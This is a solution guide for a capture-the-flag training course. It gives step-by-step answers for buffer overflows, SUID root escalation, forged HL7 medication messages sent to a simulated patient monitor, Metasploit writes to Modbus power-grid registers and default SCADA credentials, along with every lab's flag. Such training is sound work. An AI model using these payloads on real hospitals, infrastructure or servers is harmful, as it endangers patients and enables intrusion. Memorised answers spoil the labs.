National Network

Cyber Crime Solution Guides

Table of Contents

LAB 1: c0ffee0verfl0w *2*

LAB 2: SecretFunction *4*

LAB 3: Health Havoc – Video Demonstration Included *7*

LAB 4: Health Level Sabotage *10*

LAB 5: Health Level Stalker *13*

LAB 6: Scada Strange Love *15*

LAB 7: Privilege Escalation SUID *17*

Extra LABs *19*

Extra LAB 1: Power Play **19**

Extra LAB 2: Top Secret Trace **21**

Extra LAB 3: Bomb to Defuse **24**

LAB 1: c0ffee0verfl0w

Analyze and exploit a buffer overflow vulnerability in a binary to retrieve an encrypted flag. Use OpenSSL to decrypt the flag and CyberChef to convert it from hex and base85 formats to obtain the final ASCII flag.

Domain Name:
C0ffee-0verfl0w.com

Static Flag:
HKN{tDd-3a6-tsam}

Proposed Difficulty:
27 points

Prerequisites:

- Familiarity with tools like Radare2 (r2) or GNU Debugger (gdb).
- Basic understanding of assembler instructions in 32-bit systems.
- Knowledge of buffer overflow techniques and their exploitation.

Outcome:

- Learn to analyze binaries for buffer overflow vulnerabilities.
- Gain experience with decrypting and de-obfuscating encoded data.
- Understand the use of OpenSSL for decryption.

Solution:

1. **Download the Binary:**
    - Visit *C0ffee-0verfl0w.com* and download the binary file.
    - Make the binary executable:

      ```
      chmod +x c0ffee0verfl0w
      ```

2. **Analyze the Binary:**
    - Run the binary to understand its behavior.
    - Use tools like strings to find hints within the binary:

      ```
      strings c0ffee0verfl0w
      ```

    - Analyze the binary using radare2 or gdb to locate the buffer overflow vulnerability.
        - Identify the comparison value (0x42C0FFEE) in the main function.
        - Look for the buffer size to determine the overflow point.
3. **Exploit the Buffer Overflow:**
    - Craft an input string to overflow the buffer and inject the desired value:

      ```
      (python2.7 -c 'print "A"*42 + "\xee\xff\xc0\x42"') |
      ./c0ffee0verfl0w
      ```

    - If you prefer Python 3, you can also run your command with it:

      ```
      (python3 -c 'import sys;
      sys.stdout.buffer.write(b"A"*42 +
      b"\xee\xff\xc0\x42")') | ./c0ffee0verfl0w
      ```

    - Upon successful exploitation, a "prize" (encrypted flag) will be displayed.
4. **Decrypt the Flag:**
    - Use OpenSSL to decrypt the flag with the given key:

      ```
      openssl enc -k ThisMightBecomeHandy42 -aes256 -base64
      -d -in cipher.txt -out plain_out.txt
      ```

5. **Convert Encoded Formats:**
    - Use tools like *CyberChef* to decode the decrypted flag.
        - Add the "From Hex" operation to decode the hex string.
        - Add the "From Base85" operation to decode the base85 string.
    - The output will be the final flag in ASCII format.

LAB 2: SecretFunction

Use buffer overflow techniques to trigger a secret function within a vulnerable program. Perform binary exploration with tools like GDB to analyze the program and craft an exploit. Log into the server and provide the exploit to retrieve the flag.

Domain Name:
secretfunction.hkn

Nextcloud Link:
secretfunction.zip

Static Flag:
HKN{fX0-zvMLNdlcXn6KIMv}

Proposed Difficulty:
35 points

Prerequisites:

- Basic knowledge of buffers.
- Familiarity with GDB (GNU Debugger).
- Basic understanding of the C programming language.

Outcome:

- Learn how to run an executable line by line and examine registers in the stack using GDB.
- Understand how variables are stored in the 32-bit x86 architecture.
- Learn how characters are represented and read in Hexadecimal.
- Understand how to overwrite memory using a buffer overflow.

Solution:

1. **Download and Extract the Files:**
   - Download the zip file from the provided link and extract its contents:

     ```
     unzip secretfunction.zip
     ```

   - You will find the source code (*secretfunction.c*) and the compiled binary.
2. **Inspect the Code:**
   - Open *secretfunction.c* in a text editor or IDE.
   - Identify the buffer size and how input is handled.
   - Notice that the program reads 256 bytes into an array (name) that can only hold 100 bytes, revealing a buffer overflow vulnerability.
3. **Analyze the Binary with GDB:**
   - Make sure you have the necessary tools installed:

     ```
     sudo apt update
     sudo apt install gcc gcc-multilib gdb
     ```

   - Install the recommended *pwndbg* extension for GDB (optional):

     ```
     git clone https://github.com/pwndbg/pwndbg
     cd pwndbg
     ./setup.sh
     ```

   - Start analyzing the binary in GDB:

     ```
     gdb ./secretfunction
     ```

   - Set a breakpoint at the main function:

     ```
     break main
     ```

   - Run the binary with input from a text file:

     ```
     run < input.txt
     ```

   - Step through the code line by line using:

     ```
     next
     ```

   - Examine memory and stack values using:

     ```
     x/xw <memory_address>
     ```

4. **Understand the Overflow and Trigger the Secret Function:**
    - Identify that input exceeding 100 characters will overflow the buffer and overwrite the secret variable.
    - To trigger the secret function, input *A*100* followed by *BITS (0x53544942 in Hex for x86 architecture)*.
5. **Log in to the Server:**
    - SSH into the provided server using the credentials:

      ```
      ssh haaukins@secretfunction.hkn
      password: haaukins
      ```

6. **Generate the Exploit Input:**
    - Create the required input using Python:

      ```
      python3 -c 'import sys; sys.stdout.write("A"*100 +
      "BITS")'
      ```

7. **Execute the Exploit:**
    - Provide the crafted input to the program running on the server to trigger the secret function:

      ```
      ./secretfunction
      ```

8. **Retrieve the Flag:**
    - Once the secret function is triggered, the flag will be displayed:
        - *HKN{fX0-zvMLNdlcXn6KIMv}*

LAB 3: Health Havoc – Video Demonstration Included

This challenge involves sniffing and manipulating HL7 (Health Level 7) network traffic to interact with a medical device. Participants will analyze HL7 messages using Wireshark, modify the data using a script, and send manipulated messages to achieve a specific outcome and retrieve the flag.

Domain Name:
sundhed.hkn

Static Flag:
HKN{an-apple-a-day-keeps-the-doctor-away}

Proposed Difficulty:
55 points

Prerequisites:

- Familiarity with Wireshark for network packet analysis.
- Basic understanding of HL7 message structure and communication protocols.
- Scripting knowledge (e.g., Python).

Outcome:

- Learn how to sniff network traffic and capture HL7 messages.
- Understand how to read and manipulate HL7 message formats.
- Learn how to modify and send manipulated HL7 messages to interact with a medical device.

Solution:

1. **Analyze the Patient Monitor:**
    - Visit *sundhed.hkn* to observe the patient monitor displaying the patient's status.

2. **Sniff HL7 Traffic:**
   - Use Wireshark to capture network traffic between the HL7 monitor (client) and the HL7 server.
   - Apply a filter to focus on HL7 traffic:

     ```
     tcp.port == <hl7_port>
     ```

   - Locate an HL7 packet, right-click on it, and select **Copy** > **As Printable Text** to extract its content.
     Example of HL7 message:

     ```
     MSH|^~\&|SENDING_APPLICATION|SENDING_FACILITY|RECEIVIN
     G_APPLICATION|RECEIVING_FACILITY|20170613083617PID||AD
     T^A01|911576160110613083617|P|2.3||||
     RXO|Morfin^60mg^Tablet|||||||^Dr. Smith|20220101120100
     OBX|1|NM|P^PULSE||80|/min
     ```

3. **Prepare the Script:**
   - Use the following script to modify the HL7 message and send it to the server:

     ```
     import socket

     ip_addr = <server_ip>
     port = <server_port>

     message =
     "MSH|^~\\&|SENDING_APPLICATION|SENDING_FACILITY|RECEIV
     ING_APPLICATION|RECEIVING_FACILITY|20170613083617PID||
     ADT^A01|911576160110613083617|P|2.3||||\r"
     message += "EVN|A01|20170613083617|||\r"
     message += "PID|1||130569-
     4175||Lars^Frisk||19671118|M|||Sundvej
     2.th^Aalborg^Nordjylland||+4599408091^Lars@sund.dk||||
     ||||| |Aalborg|||||||||||||||\r"
     message += "NK1|1|Maja^Frisk|WIFE||||||NK\r"
     message += "AL1|1||Penicillin||Anaphylactic shock\r"
     message += "AL1|2||Cat dander|Skin rash\r"
     message += "RXO|Morfin^30mg^Tablet|||||||^Dr.
     Smith|20220101120100\r"
     message += "OBX|1|NM|WT^WEIGHT||80|kg\r"
     message += "OBX|2|NM|HT^HEIGHT||180|cm\r"
     message += "OBX|3|NM|TMP^TEMPERATURE||36.8|C\r"
     message += "OBX|4|NM|P^PULSE||80|/min\r"
     message +=
     "PV1|1|I|2000^2012^01||||004777^Fillip^Frisk^D|||SUR||
     ||ADM|A0|\r"
     ```

```
message += "IN1|1|1|1|SELF
PAY|||Lars^Frisk^|||SELF|\r"
message +=
"IN1|2|||Maja^Frisk^|||WIFE|||||||||||||||||||\r"
message += "IN1|32|Pending|1|SELF
PAY|||Maja^Frisk^||\r"

# Establish socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_addr, port))

# Send HL7 message
start = bytes.fromhex("0b")   # Start byte for HL7
end = b"\x1c\r"   # End byte for HL7
s.sendall(start + message.encode() + end)
```

4. **Send the Modified Message:**
   - Adjust the RXO segment to send *Morfin^30mg^Tablet*. This will cause the patient's pulse to fall to 28-35.
   - Execute the script to send the modified HL7 message to the server.
5. **Retrieve the Flag:**
   - After sending the 30mg dose, the flag will be displayed on the patient monitor.
6. **Avoid Overdosing:**
   - Sending doses greater than 30mg (e.g., 40mg or more) will cause the pulse to drop dangerously low (18-25) and result in failure.

LAB 4: Health Level Sabotage

This challenge focuses on the vulnerabilities of the HL7 protocol, which is widely used in the healthcare sector but lacks encryption and security measures. Participants will sniff, read, and modify HL7 packets to manipulate patient information and retrieve the flag.

Domain Name:
health-level-sabotage.hkn

Proposed Difficulty:
15 points

Prerequisites:

- Basic knowledge of Wireshark for packet analysis.
- Python scripting to modify HL7 packets.

Outcomes:

- Learn how HL7 packets are transmitted unencrypted and can be read in Wireshark.
- Understand how HL7 packets can be intercepted and modified to manipulate data.

Solution

1. **Capture HL7 Traffic:**
    - Use Wireshark to sniff network traffic between the client and server at *health-level-sabotage.hkn*.
    - Apply a filter to focus on HL7 traffic:

      ```
      tcp.port == <hl7_port>
      ```

    - Look for HL7 packets, which are often transmitted as plaintext.
    - Right-click on a packet and select **Follow** > **TCP Stream** to view the entire HL7 message.

2. **Understand HL7 Structure:**
   - Observe the HL7 message structure in the packet:

```
MSH|^~\&|SENDING_APPLICATION|SENDING_FACILITY|RECEIVIN
G_APPLICATION|RECEIVING_FACILITY|20220101120100||ADT^A
01|1234567890|P|2.3||||
PID|1||123456-789||John^Doe||19900101|M|||123 Main
St^Somewhere^CA^12345||||||||||
RXO|Medication^20mg^Tablet|||||||^Dr.
Smith|20220101120100
```

   - **MSH (Message Header):** Contains metadata about the message.
   - **PID (Patient Information):** Contains patient details.
   - **RXO (Pharmacy Prescription Order):** Contains medication details, including dosage and prescribing doctor.
3. **Modify HL7 Packets:**
   - Save the HL7 message as a text file and edit it using Python to manipulate the data.
   - For example, change the medication name, dosage, or patient name:

```
import socket

# Target server information
ip_addr = <server_ip>
port = <server_port>

# Original HL7 message
message =
"""MSH|^~\\&|SENDING_APPLICATION|SENDING_FACILITY|RECE
IVING_APPLICATION|RECEIVING_FACILITY|20220101120100||A
DT^A01|1234567890|P|2.3||||
PID|1||123456-789||John^Doe||19900101|M|||123 Main
St^Somewhere^CA^12345||||||||||
RXO|Medication^20mg^Tablet|||||||^Dr.
Smith|20220101120100
"""

# Modify the medication dosage
modified_message = message.replace("20mg", "50mg")

# Establish socket connection
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip_addr, port))

# Send the modified HL7 message
start = bytes.fromhex("0b")   # Start byte for HL7
end = b"\x1c\r"   # End byte for HL7
```

```
s.sendall(start + modified_message.encode() + end)

# Receive response
response = s.recv(1024)
print("Response from server:", response.decode())
```

4. **Send Modified Message:**
    - Execute the Python script to send the modified HL7 message to the server.
    - The server will respond with an ACK (Acknowledgment) message.
5. **Retrieve the Flag:**
    - Check the ACK message for the flag. The server will acknowledge the manipulated message and include the flag in its response.

LAB 5: Health Level Stalker

This challenge focuses on the vulnerabilities of the HL7 (Health Level 7) protocol, which is extensively used in the healthcare sector but lacks encryption and built-in security. Participants will capture and analyze HL7 packets to find sensitive information, including the flag.

Domain Name:
health-level-seven.hkn

Proposed Difficulty:
10 points

Prerequisites:

- Basic knowledge of Wireshark for packet analysis.

Outcomes:

- Learn how to capture and read HL7 packets in Wireshark.
- Understand the lack of encryption and security in the HL7 protocol.

Solution:

1. **Capture HL7 Traffic:**
    - Use Wireshark to sniff network traffic between the client and server at *health-level-seven.hkn*.
    - Apply a filter to focus on HL7 traffic:

      ```
      tcp.port == <hl7_port>
      ```

    - Look for HL7 packets, which are transmitted in plaintext.

2. **Analyze the HL7 Packets:**
    - Right-click on a captured HL7 packet and select **Follow** > **TCP Stream** to view the full HL7 message.
    - Example of an HL7 packet:

```
MSH|^~\&|SENDING_APPLICATION|SENDING_FACILITY|RECEIVIN
G_APPLICATION|RECEIVING_FACILITY|20220101120100||ADT^A
01|1234567890|P|2.3||||
PID|1||123456-789||John^Doe||19900101|M|||123 Main
St^Somewhere^CA^12345||||||||||
RXO|Medication^20mg^Tablet|||||||^Dr.
Smith|20220101120100
OBX|1|NM|P^PULSE||80|/min
```

    - Look for any **flag** or interesting information in the fields, such as RXO (medication), PID (patient details), or OBX (observations).
3. **Find the Flag:**
    - The flag will be embedded within one of the HL7 packets. Carefully read through the message fields to locate the flag.

LAB 6: Scada Strange Love

This challenge explores the vulnerabilities of SCADA (Supervisory Control and Data Acquisition) systems. Participants will simulate an attack on a Siemens ST950 traffic control system by exploiting default credentials published by a research group known as SCADA StrangeLove.

Static Flag:
HKN{root:zP2wxY4uE}

Proposed Difficulty:
31 points

Prerequisites:

- Basic understanding of cybersecurity concepts, particularly the risks of using default passwords in critical systems.

Outcomes:

- Increased awareness of SCADA systems and their critical role in industrial and infrastructure operations.
- Learn why robust credential management is essential for securing ICS (Industrial Control Systems) environments.

Solution:

1. **Understand the Context:**
    - The challenge simulates access to a Siemens ST950 traffic control system, which is protected by a password.
    - Participants must find the default credentials for this SCADA system to gain access.
2. **Search for "SCADA StrangeLove":**
    - Research SCADA StrangeLove, a team dedicated to exposing default credentials in SCADA systems.
    - Visit the *SCADA StrangeLove* repository: SCADA StrangeLove GitHub

3. **Locate Siemens ST950 Credentials:**
    - Use the repository to search for the default credentials for Siemens ST950.
    - Identify the username and password. In this case:
        - **Username:** root
        - **Password:** zP2wxY4uE
4. **Retrieve the Flag:**
    - Format the credentials into the flag format:
        - *HKN{root:zP2wxY4uE}*

LAB 7: Privilege Escalation SUID

This challenge introduces participants to privilege escalation through a misconfigured SUID (Set User ID) binary. The find command in Linux is improperly configured with the SUID bit, allowing participants to execute shell commands with elevated privileges.

Log in to the server at *pesuid.com* and escalate your privileges using a misconfigured SUID binary. Gain root access, locate the flag, and complete the challenge.

Domain Name:
pesuid.com

Proposed Difficulty:
30 points

Prerequisites:

- Basic Linux terminal usage.
- Understanding of SUID (Set User ID) binaries and their security implications.

Outcomes:

- Gain practical experience with privilege escalation techniques.
- Understand the dangers of misconfigured SUID binaries and their potential for exploitation.

Solution:

1. **Log in to the Server:**
    - Use SSH to log in to the server at *pesuid.com*:

      ```
      ssh user@pesuid.com
      ```

    - Enter the provided password: *haaukins*.
2. **Identify SUID Binaries:**
    - Use the following command to find binaries with the SUID bit set:

      ```
      find / -user root -perm -4000 -print 2>/dev/null
      ```

    - Among the results, you will find that the find command has the SUID bit set.

3. **Exploit the SUID Binary:**
    - Leverage the find command to escalate privileges and obtain a root shell:

      ```
      find /bin -exec bash -p \;
      ```

    - **Explanation:**
        - The *-exec* option allows the execution of commands, and *bash -p* starts a privileged shell.
4. **Locate the Flag:**
    - As the root user, search for the flag file. Common locations include */root/* or */flag*.
    - Use the following command to read the flag:

      ```
      cat /path/to/flag
      ```

Extra LABs

Extra LAB 1: Power Play

This challenge revolves around exploiting the Modbus protocol using Metasploit to remotely manipulate data registers in a SCADA (Supervisory Control and Data Acquisition) system. Participants will learn how vulnerable operational technologies can lead to critical infrastructure disruptions.

Domain Name:
powergrid.hkn

Proposed Difficulty:
50 points

Prerequisites:

- Familiarity with Metasploit.
- Basic understanding of SCADA systems and the Modbus protocol.

Outcomes:

- Learn about the Modbus protocol and its role in operational technology.
- Understand vulnerabilities in SCADA systems and how they can be exploited.

Solution:

1. **Open Metasploit Console:**
    - Launch Metasploit by typing the following command in the terminal:

      ```
      msfconsole
      ```

2. **Search for Modbus Modules:**
    - Use the search command to find Modbus-related modules:

      ```
      search modbus
      ```

3. **Select the Modbus Client Module:**
    - Use the Modbus client module to interact with the Modbus system:

      ```
      use auxiliary/scanner/scada/modbusclient
      ```

4. **Set the Target Host:**
    - Define the target IP address for the Modbus system:

      ```
      set RHOSTS <target-ip>
      ```

5. **Read Data from Registers:**
    - Perform a read operation on Modbus data registers:
        1. Set the action to read holding registers:

           ```
           set action READ_HOLDING_REGISTERS
           ```

        2. Specify the data address to read from (e.g., 0, 1, 2, 3):

           ```
           set DATA_ADDRESS <address>
           ```

        3. Execute the module to read data:

           ```
           run
           ```

6. **Write Data to Registers:**
    - Manipulate the Modbus registers by writing data:
        1. Set the action to write a register:

           ```
           set action WRITE_REGISTER
           ```

        2. Specify the data address to write to (e.g., 0, 1, 2, 3):

           ```
           set DATA_ADDRESS <address>
           ```

        3. Set the desired data value to write (e.g., 0 to disable):

           ```
           set DATA <value>
           ```

        4. Execute the module to write data:

           ```
           run
           ```

7. **Observe the Impact:**
    - By reading and writing data, manipulate the SCADA system controlling the power grid.
    - The flag will be displayed upon successful manipulation of the system.

Extra LAB 2: Top Secret Trace

This challenge focuses on reverse engineering a binary to find two security clearance PINs and retrieve the flag. Participants will use tools like *ltrace* and *gdb* to trace library calls, disassemble the binary, and analyze registers to uncover the required credentials.

Domain Name:
access.hkn

Nextcloud Link:
top_secret

Flag:
HKN{Confidential-Top-Secret-Classified-much-shhh}

Proposed Difficulty:
45 points

Prerequisites:

- Basic knowledge of C programming.
- Understanding of registers in x86-64 architecture.
- Familiarity with Linux terminal and debugging tools such as *ltrace* and *gdb*.

Outcomes:

- Learn to use *ltrace* to trace library calls and identify vulnerabilities.
- Understand disassembly and register analysis in *gdb*.
- Gain experience in debugging and exploiting binaries to extract secrets.

Solution:

Step 1: Analyze the Binary

1. Inspect the binary file to determine its properties:

```
file ./access
checksec --file=access
./access
```

2. The binary prompts for PIN codes for Level 2 and Level 1 access.
3. Example interaction:

```
>>> Security Clearance Level 2 - Secret <<<
Enter PIN code: password
Access denied!
```

Step 2: Use** ltrace **to Find the PIN for Level 2

1. Run the binary using ltrace to monitor library calls:

```
ltrace ./access
```

2. Observe the *strcmp* call that compares the input with the correct PIN:

```
strcmp("password", "FkLjx6GH32Os") = 42
```

3. **PIN for Level 2:** *FkLjx6GH32Os*.

Step 3: Use gdb **to Find the PIN for Level 1**

1. Launch the binary in gdb to trace and debug it:

```
gdb ./access
```

2. Disassemble the main function to find relevant instructions:

```
disassemble main
```

3. Identify the *strcmp* call and the registers (*rax, rdi, rdx*) involved in comparing PIN values.

4. Set a breakpoint before the *strcmp* call:

```
b *0x4010d0
```

5. Run the binary and provide the Level 2 PIN:

```
r
Enter PIN code: FkLjx6GH32Os
```

6. The program will stop at the breakpoint for Level 1 PIN validation.

7. Examine the registers to retrieve the Level 1 PIN:

   ```
   x/s $rdx
   ```

8. **PIN for Level 1:** *N3Z4YsVl2Y3T*.

Step 4: Retrieve the Flag

1. Run the binary and input both PINs to gain access:

   ```
   ./access

   >>> Security Clearance Level 2 - Secret <<<
   Enter PIN code: FkLjx6GH32Os
   Level 2 access granted!

   >>> Security Clearance Level 1 - Top Secret <<<
   Enter PIN code: N3Z4YsVl2Y3T
   Level 1 access granted!
   ```

2. The flag is displayed:
   - *HKN{Confidential-Top-Secret-Classified-much-shhh}*

Extra LAB 3: Bomb to Defuse

This reverse engineering challenge involves defusing a "bomb" by analyzing the code to determine a sequence of inputs required to deactivate it. Participants will use tools like *Ghidra*, *GDB*, or an online decompiler to extract the required logic. Once the correct sequence is entered, the bomb is defused, and the flag is displayed.

Challenge Goal:
Defuse the bomb within 35 seconds by entering the correct code.

Nextcloud Link:
bomb_to_defuse.zip

Flag:
HKN{120960}

Proposed Difficulty:
35 points

Prerequisites:

- Knowledge of reverse engineering techniques.
- Experience with *Ghidra* or *GDB*.
- Familiarity with basic C programming and assembly.

Outcomes:

- Learn to analyze compiled binaries using reverse engineering tools.
- Develop the ability to identify and understand the logic behind program functions.
- Gain experience in working with decompilers and debuggers for problem-solving.

Solution:

Solution 1: Using Ghidra

1. **Open the Program in *Ghidra*:**
    - Load the binary into *Ghidra* and analyze it.

2. **Inspect the Function *check_char_1*:**
    - Decompile the function to understand its logic:

      ```
      undefined4 check_char_1(int param_1) {
          return (0xb - param_1 == 7);
      }
      ```

    - Determine the required input (*0xb* in hexadecimal is 11 in decimal):

      ```
      Answer = 4 (11 - 7 = 4)
      ```

3. **Repeat the Process for Each Function:**
    - Identify the logic for each *check_char* function (e.g., *check_char_2, check_char_3,* etc.).
    - Derive the sequence of inputs to defuse the bomb.
4. **Enter the Code:**
    - Input the correct code (e.g., [4xxxxxx]) and defuse the bomb:

      ```
      The bomb has been defused!
      HKN{xxxxxx}
      ```

Solution 2: Using GDB

1. **Launch the Program in *GDB*:**
    - Start GDB with the binary:

      ```
      gdb ./bomb_to_defuse
      ```

2. **Disassemble the check_char Functions:**
    - Use *disas* to analyze the logic behind each function:

      ```
      disas check_char_2
      ```

    - Example:
        - The function compares its input to 8. If the input is 8, the function returns true.
3. **Derive the Inputs:**
    - Determine the correct input for each function by interpreting the assembly instructions.
    - Example: If *check_char_3* divides 15 by the input and expects the result 3, the input would be 5.

4. **Enter the Code:**
    - Input the correct code in sequence (e.g., [x8xxxxx]) and defuse the bomb:

      ```
      The bomb has been defused!
      HKN{xxxxxx}
      ```

Solution 3: Using Online Decompiler (e.g., dogbolt.org)

1. **Upload the Binary:**
    - Use the online decompiler to upload the binary file.
2. **Decompile and Analyze Functions:**
    - Locate and decompile each check_char function to reveal its logic.

    - Example:

      ```
      bool __fastcall check_char_3(int a1) {
          return 15 / a1 == 3;
      }
      ```

    - For this function, the required input is 5.
3. **Combine the Results:**
    - Compile the derived inputs into the correct sequence (e.g., [xx5xxxx]).
4. **Defuse the Bomb:**
    - Input the sequence into the program to defuse the bomb and retrieve the flag:

      ```
      The bomb has been defused!
      HKN{120960}
      ```
